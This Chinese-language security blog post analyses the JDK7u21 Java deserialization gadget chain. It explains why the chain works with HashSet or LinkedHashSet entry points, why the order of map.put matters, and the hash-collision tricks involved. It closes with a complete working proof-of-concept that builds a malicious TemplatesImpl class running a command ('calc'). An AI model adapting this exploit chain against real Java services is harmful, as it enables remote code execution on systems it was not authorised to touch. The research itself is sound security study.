<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    關于JDK7u21 Gadgets兩個問題的探討

    VSole2021-07-28 17:02:02

    最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起:

    1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?

    2.關于map.put("f5a5a608", templates);的位置,為什么將其放在set.add(proxy);前面執行會導致反序列化執行命令失敗的問題?

    就這兩個疑惑進行調試分析,有了這篇文章。

    本次分析調試的POC放在最后一部分,需要的可以先copy。

    接下來本文將會按照以下思路分析探討:

    1.Gadgets鏈反序列化載體的分析,為上述兩個問題的解答做鋪墊;

    2.兩個疑惑的分析解答;

    3.我們挖掘此類漏洞的思路。

    反序列化載體分析

    frohoff給出的Gadgets

    命令執行載體TemplatesImpl前面分析過了,這里不涉及了。根據Gadgets我們知道是通過AnnotationInvocationHandler的invoke和equalsImpl調用了TemplatesImpl.getOutputProperties,那么我們先看下這部分。

    1、AnnotationInvocationHandler鏈

    POC中創建了一個動態代理proxy,用tempHandler代理Templates接口,根據動態代理知識我們知道實際就是AnnotationInvocationHandler的invoke代理了Templates接口的兩個方法newTransformer()和getOutputProperties()。

    1.1、AnnotationInvocationHandler.invoke()

    // invoke傳入的參數:Object proxy 代理對象, Method method 代理實例上調用的接口方法的method, Object[] args 方法的實參public Object invoke(Object var1, Method var2, Object[] var3) {    // var4即代理的方法名    String var4 = var2.getName();    // var5即代理方法的參數數組    Class[] var5 = var2.getParameterTypes();    // 當代理方法是equals,并且參數只有一個是Object,也就是當代理的方法是proxy.equals(Object obj)    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {        // equalsImpl傳入的參數實際是代理方法的參數,如果這里傳入TemplatesImpl實例,var3[0] = TemplatesImpl實例        return this.equalsImpl(var3[0]);    } else {        ......    }}
    

    根據動態代理相關知識,我們知道invoke()傳入的參數是代理對象,被代理的方法及其參數只有在滿足一定條件時(var4.equals("equals") && var5.length == 1 && var5[0] == Object.class)會調用equalsImpl。

    1.2、 AnnotationInvocationHandler.equalsImpl()

    private Boolean equalsImpl(Object var1) {    if (var1 == this) {         return true;    } else if (!this.type.isInstance(var1)) {// 根據poc這里type指的就是初始化的Templates.class        return false;    } else { // 傳入的參數不是AnnotationInvocationHandler對象也不是Templates的實例時        // getMemberMethods會獲取AnnotationInvocationHandler.this.type.getDeclaredMethods(),即type屬性代表的類Templates定義的方法        Method[] var2 = this.getMemberMethods();        int var3 = var2.length;        // Templates一共有2個方法newTransformer()和getOutputProperties(),循環調用所有方法        for(int var4 = 0; var4 < var3; ++var4) {            // method對象            Method var5 = var2[var4];            // 獲取method名稱,即方法名            String var6 = var5.getName();            Object var7 = this.memberValues.get(var6);            Object var8 = null;            // asOneOfUs:如果var1是動態代理類實例,并且其InvocationHandler是AnnotationInvocationHandler實例,如果不是的話,返回null            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);            if (var9 != null) {                var8 = var9.memberValues.get(var6);            } else { // 沒有var1不是InvocationHandler實例的情況                try {                    // invoke調用方法:依次調用method.invoke,當var1是TemplatesImpl實例,就會調用TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties                    var8 = var5.invoke(var1);                } catch (InvocationTargetException var11) {                    return false;                } catch (IllegalAccessException var12) {                    throw new AssertionError(var12);                }            }
                if (!memberValueEquals(var7, var8)) {                return false;            }        }
            return true;    }}
    

    根據上面代碼的分析我們能得出equalsImpl傳入的參數是TemplatesImpl實例,并且AnnotationInvocationHandler.type屬性是TemplatesImpl.class對象,我們就能調用TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties。那么當equalsImpl傳入的參數是TemplatesImpl實例時,proxy.equals(Object obj)實際就是需要傳入參數就是參數類型即TemplatesImpl.class。

    小結:

    AnnotationInvocationHandler.invoke(Object proxy, Method method,Object[0] templatesImpl)---滿足條件(proxy.equals(TemplatesImpl實例))--->AnnotationInvocationHandler.equalsImpl(Templates實例)----->TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties
    

    現在的問題是如何能滿足proxy.equals(TemplatesImpl實例)這個條件。

    2、proxy.equals(TemplatesImpl實例)

    2.1、HashMap.put()

    public V put(K key, V value) {    if (key == null)        return putForNullKey(value);    // 計算key的hash    int hash = hash(key);    // 返回hash在數組中的索引i    int i = indexFor(hash, table.length);    // 鏈表的操作,循環鏈表中的所有鍵值對    for (Entry e = table[i]; e != null; e = e.next) {        Object k;        // 條件1:當前鍵值對的hash == 要插入鍵值對的hash,條件2:當前鍵值對的key的值==要插入的鍵值對的key的值,條件3:當前要插入鍵值對的key.equals(當前鍵值對的key))        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {            V oldValue = e.value;            e.value = value;            e.recordAccess(this);            return oldValue;        }    }
        modCount++;    addEntry(hash, key, value, i);    return null;}
    

    jdk1.7的HashMap的數據結構是數組+鏈表,插入key-value操作:

    1.數組下標是key計算后的hash值;

    2.數組的值是一個鏈表;

    3.要插入一個新的key-value,如果key計算后的hash在數組中已經存在,則會在這個hash所在鏈表中插入這個value。當然插入之前要滿足一個條件:插入的鍵值對的key不能在鏈表中已存在,即key的hash可以相等,但是key不能相等。

    所以HashMap在插入時會對key和已存在的hash進行比較,不允許相同的key的鍵值對重復進行插入。

    這跟本次鏈有什么關系?

    我們要找的是proxy.equals(TemplatesImpl實例)的調用,上面代碼if (e.hash == hash && ((k = e.key) == key || key.equals(k)))當條件1滿足且條件2不滿足,會執行equal方法。如果要調用proxy.equals(TemplatesImpl實例),那么需要讓key=proxy,k=TemplatesImpl實例,即當前插入的鍵值對的key是proxy,并且需要key是TemplatesImpl實例的鍵值對已存在,那么我們就需要在插入的時候先插入TemplatesImpl實例再插入Proxy實例。這也說明了poc為什么要先添加TemplatesImpl實例再添加Proxy實例。

    接下來的問題是怎么讓條件1滿足條件2不滿足?

    當key=proxy且k=TemplatesImpl實例時,兩者一定不相等條件2滿足。條件1(TemplatesImpl實例的哈希==proxy的哈希)怎么滿足?

    2.2、TemplatesImpl實例的哈希==Proxy實例的哈希

    在HashMap中計算hash會調用hash()方法:int hash = hash(key);,我們先來看看hash()方法。

    final int hash(Object k) {    int h = 0;    if (useAltHashing) {        if (k instanceof String) {            return sun.misc.Hashing.stringHash32((String) k);        }        h = hashSeed;    }    //關鍵處    h ^= k.hashCode();    // 這個函數確保在每個位位置僅相差常數倍的hashCodes沖突的數量有限(在默認加載因子下大約為8)。    h ^= (h >>> 20) ^ (h >>> 12);    return h ^ (h >>> 7) ^ (h >>> 4);}
    

    hash調用k的hashCode方法,即會調用k所代表的對象的該方法,那么我們需要看看Proxy.hashCode()和TemplatesImpl.hashCode()。

    TemplatesImpl內部沒有定義hashCode(),所以調用的是Object的該方法,該方法是native方法,我們無法得知細節。

    Proxy內部也沒有定義hashCode(),但是有這樣的說明:

    調用{@code java.lang.Object}中聲明的{@code hashCode}、{@code equals}或{@code toString}方法。將對代理實例上的Object}進行編碼并將其分派給調用處理程序的{@code invoke}方法,其方式與接口方法調用的編碼和分派方式相同,如上所述。{@code Method}對象傳遞給{@code invoke}的聲明類將是{@code java.lang.Object}。代理實例的其他公共方法繼承自{@code java.lang。Object}不會被代理類覆蓋,所以這些方法的調用行為就像{@code java.lang.Object}實例的行為一樣。【題外話:注解@code的使用語法{@code text} 被解析成text,將文本標記為代碼樣式的文本,在code內部可以使用 < 、> 等不會被解釋成html標簽, code標簽有自己的樣式。一般在Javadoc中只要涉及到類名或者方法名,都需要使用@code進行標記。】
    

    如果調用proxy的hashCode方法,當代理handler是AnnotationInvocationHandler對象時,proxy.hashCode會通過AnnotationInvocationHandler.invoke處理,實際上AnnotationInvocationHandler.invoke會通過AnnotationInvocationHandler.hashCodeImpl()來具體實現。

    if (var4.equals("hashCode")) {    return this.hashCodeImpl();}
    

    AnnotationInvocationHandler.hashCodeImpl():在P神的JDK7u21文章里,特別分析了該方法,我們來看下。

    private int hashCodeImpl() {     int result = 0;     // 循環memberValues的所有鍵值對,將鍵值對通過計算獲取的結果進行累加。memberValues指的是AnnotationInvocationHandler實例化時傳入的Map實例,<"f5a5a608",TemplateImpl實例>    for (Map.Entry e : memberValues.entrySet()) {         result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());     }    return result; }
    
    當 memberValues 中只有一個key和一個value時,該哈希簡化成 (127 * key.hashCode()) ^ value.hashCode() 。如果key.hashCode() 等于0,任何數異或0的結果仍是他本身,那么該哈希可以簡化成value.hashCode() 。那么當value就是TemplateImpl對象時,返回的result是TemplateImpl對象的hash,那么這時候proxy.equals(TemplatesImpl實例)就是TemplateImpl對象的hash,這兩個哈希就變成完全相等。

    所以key.hashCode=0,找到這個key,value是TemplateImpl實例。如何找到這個key,我們可以通過計算:

    for (long i = 0; i < 9999999999L; i++) {    // 當其hashCode是0就是我們想要的結果    if (Long.toHexString(i).hashCode() == 0) {        System.out.println(Long.toHexString(i));    }}
    

    hash碰撞后的結果會有多個,將其中一個作為key就可以,所以針對AnnotationInvocationHandler實例化的Map對象進行插入操作即Map.put(“f5a5a608”,TemplateImpl實例)。

    2.1和2.2小結:

    這時候為了觸發命令執行,我們就找到一條鏈:

    HashMap.put(proxy,xx)--->Proxy.hashCode()--->AnnotationInvocationHandler.invoke()--->AnnotationInvocationHandler.hashCodeImpl()--->Map.put("f5a5a608",TemplateImpl實例)滿足--->proxy.equals(TemplatesImpl實例)--->AnnotationInvocationHandler.equalsImpl()--->TemplatesImpl.getOutputProperties()
    

    接下來的問題是如何能夠在反序列化時調用HashMap.put(proxy,xx)?

    2.3、如何能夠調用HashMap.put?

    調用HashMap.put我們考慮HashSet,因為HashSet內部使用HashMap來存儲數據,并且HashSet重寫了readObject方法,既然重寫了readObject那么就有可能要調用HashMap.put方法來恢復數據結構。我們來看下HashSet.readObject():

    private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    // 調用默認反序列化方法    s.defaultReadObject();    // 讀取HashMap容量和負載因子,并創建備份HashMap    int capacity = s.readInt();    float loadFactor = s.readFloat();    // 判斷是否是LinkedHashSet實例,如果是就實例化一個LinkedHashMap對象,否則實例化一個HashMap對象    map = (((HashSet)this) instanceof LinkedHashSet ?           new LinkedHashMap(capacity, loadFactor) :           new HashMap(capacity, loadFactor));
        // 讀取map個數    int size = s.readInt();    // 循環反序列化所有元素    for (int i=0; i        // 按照e的原始類型反序列化,并put到hashmap        E e = (E) s.readObject();        map.put(e, PRESENT);// 注意!!這里會調用HashMap.put    }}
    

    在HashSet.readObject()中讀取每個entry后會將其put到HashMap中,因此只要我們序列化一個HashSet,反序列化時就會調用HashMap.put()。

    另外需要注意一點,HashSet.add()在添加元素時,實際調用了HashMap的put方法,將傳入的參數作為key,value是一個常量,所以我們在調用HashSet.add(e),添加的元素e實際都是HashMap的key,這也跟前面的2.1的put的key對上了,add添加的就是TemplateImpl實例和Proxy實例。

    public boolean add(E e) {     // add的e就是HashMap鍵值對的key     return map.put(e, PRESENT)==null; }
    

    那么到這里,我們就可以構造完整的執行鏈:

    HashSet.readObject()--->HashMap.put(proxy,xx)--->Proxy.hashCode()--->AnnotationInvocationHandler.invoke()--->AnnotationInvocationHandler.hashCodeImpl()--->Map.put("f5a5a608",TemplateImpl實例)滿足--->proxy.equals(TemplatesImpl實例)--->AnnotationInvocationHandler.equalsImpl()--->TemplatesImpl.getOutputProperties
    

    3、為什么有的POC入口是LinkedHashSet,有的是HashSet?

    我看到有些分析文章提到了需要用LinkedHashSet而不是HashSet,因為LinkedHashSet是有序的HashSet是無序的。其實兩個都可以作為入口點,不論LinkedHashSet還是HashSet,主要跟反序列化時在HashSet.readObject中調用map.put插入TemplatesImpl實例和Proxy實例前后順序有關系,因為需要HashMap.put插入時的比較操作來觸發命令執行,當插入Proxy實例需要TemplatesImpl實例已經存在才能調用proxy.equals(templatesimpl),這里不懂可以回到2.1再理解下。

    LinkedHashSet可以保證我們的添加時候的順序和反序列化時候的順序一致,但是HashSet是無序的,不能保證這一點,那么我們如何讓HashSet也滿足反序列化時先讀取TemplatesImpl實例再讀取Proxy實例?

    答案如下:

    HashMap map = new HashMap();......HashSet set = new HashSet();map.put("f5a5a608", new int[]{-16});set.add(proxy);set.add(templates);map.put("f5a5a608", templates);
    

    我們知道HashMap的數據結構是數組+鏈表,雖然它的插入是無序的,但是它迭代讀取所有元素時還是會按照數組下標順序來,那么我們只要讓Proxy實例所在的數組索引大于Template實例所在數組索引就可以滿足條件。HashMap初始長度為16,當proxy在最大下標15時就可以滿足這個條件。我們知道proxy.hash可以根據AnnotationInvocationHandler.hashCodeImpl進行計算,AnnotationInvocationHandler.hashCodeImpl時根據map來計算的,map我們可控。

    // 1、計算數據索引indexstatic int indexFor(int h, int length) {    return h & (length-1); // h =15,15 & 15 =15}
    // 2、計算hashfinal int hash(Object k) {    int h = 0;    if (useAltHashing) {        if (k instanceof String) {            return sun.misc.Hashing.stringHash32((String) k);        }        h = hashSeed;    }    // proxy.hashCode最終是AnnotationInvocationHandler.hashCodeImpl計算的結果    h ^= k.hashCode();
        h ^= (h >>> 20) ^ (h >>> 12);    return h ^ (h >>> 7) ^ (h >>> 4); // 返回需要是15}
    

    根據上面代碼我們來反推下map需要put的鍵值對。

    1.下標indexFor根據hash和容量計算,那么proxy.hash需要是15;

    2.如何讓proxy.hash=15?我們讓hash(proxy)的結果是15就可以讓indexFor是15,那么最終hash里面h ^ (h >>> 7) ^ (h >>> 4)的值需要等于15;

    3.那么proxy.hashCode值是多少能讓其hash(proxy)是15?我們可以通過計算:

    public static void caculate() {    for (int i = 0; i < 100;i++){        // 將上面計算hash代碼拿下來,單獨計算下        int h =0;        h ^= i;        h ^= (h >>> 20) ^ (h >>> 12);        if ( (h ^ (h >>> 7) ^ (h >>> 4) )== 15){            System.out.println("i:" + i);        }    }}
    

    計算的結果是當i=15,能夠讓hash(proxy)=5,也就是proxy.hashCode需要是15。當proxy.hashCode=15,map怎么賦值?這就簡單了,我們來看下AnnotationInvocationHandler.hashCodeImp,當e.getKey().hashCode()=0,hashCodeImpl返回的值是memberValueHashCode(e.getValue())的值,計算原生類型數組memberValueHashCode()是可控的,我們下面以int數組為例進行計算,當e.getValue() = a[]{-16}能夠返回proxy.hashCode是15。

    // 1、AnnotationInvocationHandler.hashCodeImpl關鍵代碼// 當e.getKey().hashCode()==0,當e.getKey()==f5a5a608result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());
    // 2、 memberValueHashCode(e.getValue()):原生類型private static int memberValueHashCode(Object var0) {    Class var1 = var0.getClass();    if (!var1.isArray()) {        //非原生類型         return var0.hashCode();    } else if (var1 == byte[].class) {        return Arrays.hashCode((byte[])((byte[])var0));    } else if (var1 == char[].class) {        return Arrays.hashCode((char[])((char[])var0));    } else if (var1 == double[].class) {        return Arrays.hashCode((double[])((double[])var0));    } else if (var1 == float[].class) {        return Arrays.hashCode((float[])((float[])var0));    } else if (var1 == int[].class) {        return Arrays.hashCode((int[])((int[])var0));    } else if (var1 == long[].class) {        return Arrays.hashCode((long[])((long[])var0));    } else if (var1 == short[].class) {        return Arrays.hashCode((short[])((short[])var0));    } else {        return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));    }}
    // 3、 memberValueHashCode調用AnnotationInvocationHandler.hashCode(int a[]),當返回的result是15時,并且讓a數組只有一個元素,element=-16public static int hashCode(int a[]) {    if (a == null)        return 0;
        int result = 1;    for (int element : a)        result = 31 * result + element;
        return result;}
    

    到這里有人可能會提出一點,當proxy和templates計算出的數組下標剛好一樣都是15怎么辦?我們可以通過先set.add(proxy)再set.add(templates),因為JDK1.7 HashMap的插入采用的是頭插法,這樣能讓鏈表中templates在前proxy在后,也能夠再讀取所有元素時先讀templates再讀proxy。

    4、關于map.put("f5a5a608", templates);的位置問題

    有一點是需要說明的就是map.put("f5a5a608", templates);的位置,它必須在set.add(proxy);后被執行。在HashSet反序列化時readObject會先執行E e = (E) s.readObject();,再調用HashMap.put,我們知道ObjectInputStream處理序列化時會把目標的屬性值反序列化賦給對象的屬性,所以s.readObject會先序列化map,然后將其賦值給tempHandler的屬性,同理tempHandler賦值給proxy屬性,這時候調用HashMap.put就可以觸發命令執行。

    那么放在map.put("f5a5a608", templates);在set.add(proxy);之前和之后的區別是什么?

    1、放在之前也是會執行命令的,但是它不是在反序列化操作時執行,并且反序列化時會報錯找不到我們的惡意類Evil而終止程序。因為map.put("f5a5a608", templates);在set.add(proxy);前面,當我們add時會調用HashMap.put從而進行上述2.1的比較操作最終觸發命令執行。為什么放在前面反序列化不會觸發命令執行并且還報錯終止?經過調試發現,templates._class屬性原來應該是null,但是經過map.put("f5a5a608", templates);set.add(proxy);后,該_class變成了Evil,這時候序列化再反序列化,會讀取屬性Evil的Class對象來賦值給templates._class,但是由于Evil實際上只有字節碼,沒有本地的class文件,所以讀取Evil.class會報錯找不到類。

    2、放在后面,set.add(proxy);正常添加沒有觸發執行proxy.equals(TemplatesImpl實例),并未觸發Templates.getOutputProperties()->_class[i]=loader.defineClass(_bytecodes[i]),所以templates._class還是null,在反序列化時也是正常反序列化,只有在反序列化了proxy并將其put到hashmap時才觸發了執行,這時候通過讀取_bytecodes將類賦值給templates._class就不會報錯。

    3、所以變化在于templates._class的值,放在前面templates._class不是null,放在后面templates._class是null,前面會在沒有反序列化時觸發命令執行,templates._class通過Templates.getOutputProperties()調用到了defineClass(_bytecodes[i])就會被賦值,這時候在反序列化 首先templates._class不是null了,不滿足命令執行的條件了,這也同樣能解釋為什么在 AnnotationInvocationHandler.equalsImpl()循環調用了Templates的兩個方法getOutputProperties()和newTransformer(),但是只執行了一次命令。

    類似漏洞的挖掘思路

    1.具備執行命令的條件:如本次漏洞的TemplatesImpl.getOutputProperties(),TemplatesImpl內部定義了類加載器并重載了defineClass,能夠實例化后我們的惡意類從而執行命令。

    2.利用鏈的串聯,可以通過反向尋找方法的調用,可以借鑒常用的一些反序列化載體如HashMap、HashSet、AnnotationInvocationHandler等。

    3.反序列化重寫了readObject,通過readObject能夠最終觸發命令執行。中間觸發命令執行方法一般用到Method.invoke()來反射調用。

    POC

    參考l3yx的poc進行修改并調試:

    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;import javassist.*;
    import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.util.*;
    public class Poc {    //序列化    public static byte[] serialize(final Object obj) throws Exception {        ByteArrayOutputStream btout = new ByteArrayOutputStream();        ObjectOutputStream objOut = new ObjectOutputStream(btout);        objOut.writeObject(obj);        return btout.toByteArray();    }
        //反序列化    public static Object unserialize(final byte[] serialized) throws Exception {        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);        ObjectInputStream objIn = new ObjectInputStream(btin);        return objIn.readObject();    }
        //通過反射為obj的屬性賦值    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
        //封裝了之前對惡意TemplatesImpl類的構造    private static TemplatesImpl getEvilTemplatesImpl() throws Exception {        ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器        CtClass cc = pool.makeClass("Evil");//創建Evil類        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數        cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//設置無參構造函數體        cc.addConstructor(cons);        byte[] byteCode = cc.toBytecode();//toBytecode得到Evil類的字節碼        byte[][] targetByteCode = new byte[][]{byteCode};        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setFieldValue(templates, "_bytecodes", targetByteCode);        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_name", "xx");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        return templates;    }
        public static void main(String[] args) throws Exception {        expHashSet();//        expLinkedHashSet();    }
        public static void expLinkedHashSet() throws Exception {        TemplatesImpl templates = getEvilTemplatesImpl();
            HashMap map = new HashMap();
            //通過反射創建代理使用的handler,AnnotationInvocationHandler作為動態代理的handler        Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        ctor.setAccessible(true);
            InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
            // 創建動態代理,用tempHandler代理Templates接口,AnnotationInvocationHandler的invoke代理Templates接口的兩個方法newTransformer()和getOutputProperties()        Templates proxy = (Templates) Proxy.newProxyInstance(Poc.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
            LinkedHashSet set = new LinkedHashSet();        set.add(templates);        set.add(proxy);        map.put("f5a5a608", templates);
            byte[] obj = serialize(set);        unserialize(obj);    }
    
        public static void expHashSet() throws Exception {        TemplatesImpl templates = getEvilTemplatesImpl();
            HashMap map = new HashMap();        map.put("f5a5a608", new int[]{-16});
            //通過反射創建代理使用的handler,AnnotationInvocationHandler作為動態代理的handler        Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        ctor.setAccessible(true);
            InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
            // 創建動態代理,用tempHandler代理Templates接口,AnnotationInvocationHandler的invoke代理Templates接口的兩個方法newTransformer()和getOutputProperties()        Templates proxy = (Templates) Proxy.newProxyInstance(Poc.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
            HashSet set = new HashSet();        set.add(proxy);        set.add(templates);        map.put("f5a5a608", templates);
            byte[] obj = serialize(set);        unserialize(obj);    }}
    

    參考

    https://gist.github.com/frohoff/24af7913611f8406eaf3

    https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets/

    phith0n:Java安全漫談 – 18.原生反序列化利用鏈JDK7u21

    https://xz.aliyun.com/t/9704

    https://www.cnblogs.com/wlrhnh/p/7256969.html

    http://blog.csdn.net/justloveyou_/article/details/62893086

    https://blog.csdn.net/justloveyou_/article/details/71713781

    hash函數hashmap
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    //oldTab:引用擴容前的哈希表。//oldCap:表示擴容前的table數組的長度。//獲得舊哈希表的擴容閾值。//newThr:擴容之后下次觸發擴容的條件。//條件成立說明hashMap中的散列表已經初始化過了,
    java反射機制是什么
    URLDNS鏈子是Java反序列化分析的第0課,網上也有很多優質的分析文章。筆者作為Java安全初學者,也從0到1調試了一遍,現在給出調試筆記。Java原生鏈反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實現將字節序列轉化成對象。測試源碼如下,此部分源碼參考了ol4three師傅的博客:package?將輸出字節流寫入文件中進行封存。讀取字節流操作為readObject,所以重寫readObject可以執行自定義代碼。影響的版本問題:與JDK版本無關,其攻擊鏈實現依賴于Java內置類,與第三方庫無關?
    我們知道HashMap底層是由數組+鏈表/紅黑樹構成的,當我們通過put(key, value)向hashmap中添加元素時,需要通過散列函數確定元素究竟應該放置在數組中的哪個位置,當不同的元素被放置在了數據的同一個位置時,后放入的元素會以鏈表的形式,插在前一個元素的尾部,這個時候我們稱發生了hash沖突。
    初衷是刷抖音太多,發現不能在點贊過的視頻列表中直接搜索,就想自己實現下,把這個過程做了下記錄,當學習筆記了,純技術交流用。
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起。1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?
    STL容器逆向與實戰
    2023-02-08 09:53:04
    當然可能還存在許許多多的STL容器,但是大體的分析思路是類似的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类